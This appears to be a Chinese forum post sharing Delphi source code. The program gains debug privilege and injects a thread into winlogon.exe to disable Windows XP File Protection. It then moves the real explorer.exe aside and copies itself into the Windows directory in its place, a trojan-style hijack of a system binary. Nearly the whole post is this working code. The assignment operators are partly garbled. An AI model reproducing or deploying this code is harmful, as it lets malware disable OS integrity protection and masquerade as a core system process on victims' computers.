导读:
  在偶的VPC上测试是可以的。没有更多的测试.
  偶并没有调用dllcache目录下的.你喜欢吧

  1.    
  2.   {*******************************************************}   
  3.   { }   
  4.   { 关闭XP保护。替换explorer.exe }   
  5.   { }   
  6.   { 版权所有 (C) 2008  }   
  7.   { }   
  8.   {*******************************************************}   
  9.   program Project1;   
  10.   uses   
  11.   Windows,TlHelp32;   
  12.   function LowerCase(const S: string): string; //转小写   
  13.   var   
  14.   Ch: Char;   
  15.   L: Integer;   
  16.   Source, Dest: PChar;   
  17.   begin   
  18.   L :Length(S);   
  19.   SetLength(Result, L);   
  20.   Source :Pointer(S);   
  21.   Dest :Pointer(Result);   
  22.   while L <>0 do   
  23.   begin   
  24.   Ch :Source^;   
  25.   if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);   
  26.   Dest^ :Ch;   
  27.   Inc(Source);   
  28.   Inc(Dest);   
  29.   Dec(L);   
  30.   end;   
  31.   end;   
  32.   function CreatedMutexEx(MutexName: Pchar): Boolean;   
  33.   var   
  34.   MutexHandle: dword;   
  35.   begin   
  36.   MutexHandle :CreateMutex(nil, True, MutexName);   
  37.   if MutexHandle <>0 then   
  38.   begin   
  39.   if GetLastError = ERROR_ALREADY_EXISTS then   
  40.   begin   
  41.   //CloseHandle(MutexHandle);   
  42.   Result :False;   
  43.   Exit;   
  44.   end;   
  45.   end;   
  46.   Result :True;   
  47.   end;   
  48.   function GetWinPath: string; //取WINDOWS目录   
  49.   var   
  50.   Buf: array[0..MAX_PATH] of char;   
  51.   begin   
  52.   GetWindowsDirectory(Buf, MAX_PATH);   
  53.   Result :Buf;   
  54.   if Result[Length(Result)]<>'\' then Result :Result + '\';   
  55.   end;   
  56.   function GetTempDirectory: string; //取临时目录   
  57.   var   
  58.   Buf: array[0..MAX_PATH] of char;   
  59.   begin   
  60.   GetTempPath(MAX_PATH,Buf);   
  61.   Result :Buf;   
  62.   if Result[Length(Result)]<>'\' then Result :Result + '\';   
  63.   end;   
  64.   function EnableDebugPriv : Boolean; //提权为DEBUG   
  65.   var   
  66.   hToken : THANDLE;   
  67.   tp : TTokenPrivileges;   
  68.   rl : Cardinal;   
  69.   begin   
  70.   result :false;   
  71.   OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);   
  72.   if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then   
  73.   begin   
  74.   tp.PrivilegeCount :1;   
  75.   tp.Privileges[0].Attributes :SE_PRIVILEGE_ENABLED;   
  76.   result :AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);   
  77.   end;   
  78.   end;   
  79.   procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护   
  80.   var   
  81.   TID: LongWord;   
  82.   hSfc,hThread: HMODULE;   
  83.   pfnCloseEvents: Pointer;   
  84.   begin   
  85.   hSfc :LoadLibrary('sfc_os.dll');   
  86.   pfnCloseEvents :GetProcAddress(hSfc,MAKEINTRESOURCE(2));   
  87.   FreeLibrary(hSfc);   
  88.   hThread :CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);   
  89.   WaitForSingleObject(hThread, 4000);   
  90.   end;   
  91.   procedure InitProcess(Name: string); //查找winlogon.exe进程PID   
  92.   var   
  93.   FSnapshotHandle: THandle;   
  94.   FProcessEntry32: TProcessEntry32;   
  95.   ProcessHandle:dword;   
  96.   begin   
  97.   FSnapshotHandle :CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);   
  98.   FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);   
  99.   if Process32First(FSnapshotHandle,FProcessEntry32) then begin   
  100.   repeat   
  101.   If Name = LowerCase(FProcessEntry32.szExeFile) then   
  102.   begin   
  103.   ProcessHandle :OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);   
  104.   InjectThread(ProcessHandle);   
  105.   CloseHandle(ProcessHandle);   
  106.   Break;   
  107.   end;   
  108.   until not Process32Next(FSnapshotHandle,FProcessEntry32);   
  109.   end;   
  110.   CloseHandle(FSnapshotHandle);   
  111.   end;   
  112.   const ExpFile = 'explorer.exe';   
  113.   MasterMutex = 'OpenSoul';   
  114.   var   
  115.   s: string;   
  116.   begin   
  117.   if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体   
  118.   if not EnableDebugPriv then Exit; //提权失败退出   
  119.   InitProcess('winlogon.exe') ;//注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原   
  120.   s :ParamStr(0) ;//取本名   
  121.   if LowerCase(s) <>LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe   
  122.   begin //如果不是   
  123.   MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe   
  124.   CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ;//把自己复制到windows目录 为explorer.exe   
  125.   end;   
  126.   WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1); //运行真正的explorer.exe   
  127.   end.